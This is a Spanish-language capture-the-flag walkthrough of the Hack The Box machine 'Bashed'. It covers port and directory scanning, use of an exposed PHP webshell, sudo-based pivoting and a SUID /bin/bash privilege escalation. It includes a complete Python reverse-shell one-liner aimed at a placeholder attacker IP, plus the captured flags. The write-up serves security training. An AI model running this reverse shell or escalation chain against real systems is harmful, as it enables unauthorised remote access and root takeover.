Bashed

Plataforma HTB Dificultad Fácil

By Elmili72

Bashed

1. Escaneo general de puertos

Primero hacemos un ping para ver si tenemos conexión con la máquina y que sistema operativo utiliza:

$ ping -c 1 10.10.10.68                               
PING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.
64 bytes from 10.10.10.68: icmp_seq=1 ttl=63 time=125 ms

--- 10.10.10.68 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 124.645/124.645/124.645/0.000 ms

Después de comprobar que tenemos conexión con el equipo realizamos el escaneo general.

$ sudo nmap -sS -p- --min-rate 5000 -vvv -n -Pn 10.10.10.68 -oG allports 
[sudo] contraseña para elmili: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 02:04 CEST
Initiating SYN Stealth Scan at 02:04
Scanning 10.10.10.68 [65535 ports]
Discovered open port 80/tcp on 10.10.10.68
Completed SYN Stealth Scan at 02:04, 18.16s elapsed (65535 total ports)
Nmap scan report for 10.10.10.68
Host is up, received user-set (0.12s latency).
Scanned at 2025-04-14 02:04:21 CEST for 18s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap

2. Escaneo específico de los puertos encontrados

Tras descubrir los puertos abiertos hacemos un escaneo específico al puerto 80 (HTTP), para conocer las versiones y los servicios que corren en el puerto.

$ nmap -sCV -p80 10.10.10.68 -oN escaneo                              
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-14 02:05 CEST
Nmap scan report for 10.10.10.68
Host is up (0.12s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.11 seconds

3. Reconocimiento del sitio web (HTTP)

Vemos un blog que habla del desarrollo de una webshell hecha con php para pentesting. Y de hecho encontramos un link a github de como está montada.

Pasted image 20250414020652

Pasted image 20250414020716

4. Escaneo de directorios

Realizamos un escaneo de subdirectorios por si pudiera haber algo interesante subido (como por ejemplo el proyecto de github :D).

$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,html,js
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,js,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
/about.html           (Status: 200) [Size: 8193]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/contact.html         (Status: 200) [Size: 7805]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/index.html           (Status: 200) [Size: 7743]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/config.php           (Status: 200) [Size: 0]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/single.html          (Status: 200) [Size: 7477]
/scroll.html          (Status: 200) [Size: 10863]

Y efectivamente vemos algún subdirectorio interesante como “/dev” en el que encontramos efectivamente la webshell de nuestro amigo Arrexel.

Pasted image 20250414021112

Pasted image 20250414021149

5. Intrusión

Una vez tenemos la webshell funcional podemos lanzarnos una shell a nosotros mismos para ganar acceso al equipo y poder pivotar entre los usuarios que haya.

# En una terminal
nc -lnvp <puerto_atacante>
# En la webshell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip_atacante>",<puerto_atacante>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

Vemos dos directorios, en el directorio “arrexel” tenemos permisos de lectura y en el tenemos el archivito de la flag “users.txt”. Primera parte hecha.

www-data@bashed:/home$ ls
arrexel  scriptmanager
www-data@bashed:/home$ cd arrexel/
www-data@bashed:/home/arrexel$ ls
user.txt
www-data@bashed:/home/arrexel$ cat user.txt
{a14ff9b051a66fc4e430bb948a95f494}

6. Pivoting

Ahora para realizar el pivoting realizamos un típico sudo -l y vemos que podemos “generar” una bash del usuario scriptmanager simplemente desde el usuario “www-data” .

www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Pasted image 20250414021942

7. Escalada de privilegios

Una vez somos el usuario “scriptmanager” buscamos posibles archivos con permisos SUID que nos permitan hacer la escalada. Pero nada.

scriptmanager@bashed:/home/arrexel$ find / -perm -4000 2>/dev/null
/bin/mount
/bin/fusermount
/bin/su
/bin/umount
/bin/ping6
/bin/ntfs-3g
/bin/ping
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

Buscando un poco he visto que hay un programa de python ejecutandose desde el usuario root, pero en el que tenemos permisos de escritura con el usuario “scriptmanager”, el archivo “test.py”.

Pasted image 20250414022155

Pasted image 20250414022211 Pasted image 20250414022226

Pues cogemos este archivo y lo modificamos de la siguiente manera para otorgarle permisos SUID a “/bin/bash” y poder generar una bash con privilegios sin problema.

Pasted image 20250414022337

Pasted image 20250414022409

Y ya tendríamos nuestra flag.

scriptmanager@bashed:/scripts$ bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
{5c47a895a691a110783393957339f985}

¡Espero que os haya gustado y os haya servido de ayuda! ¡Hasta el próximo writeup!

Share: LinkedIn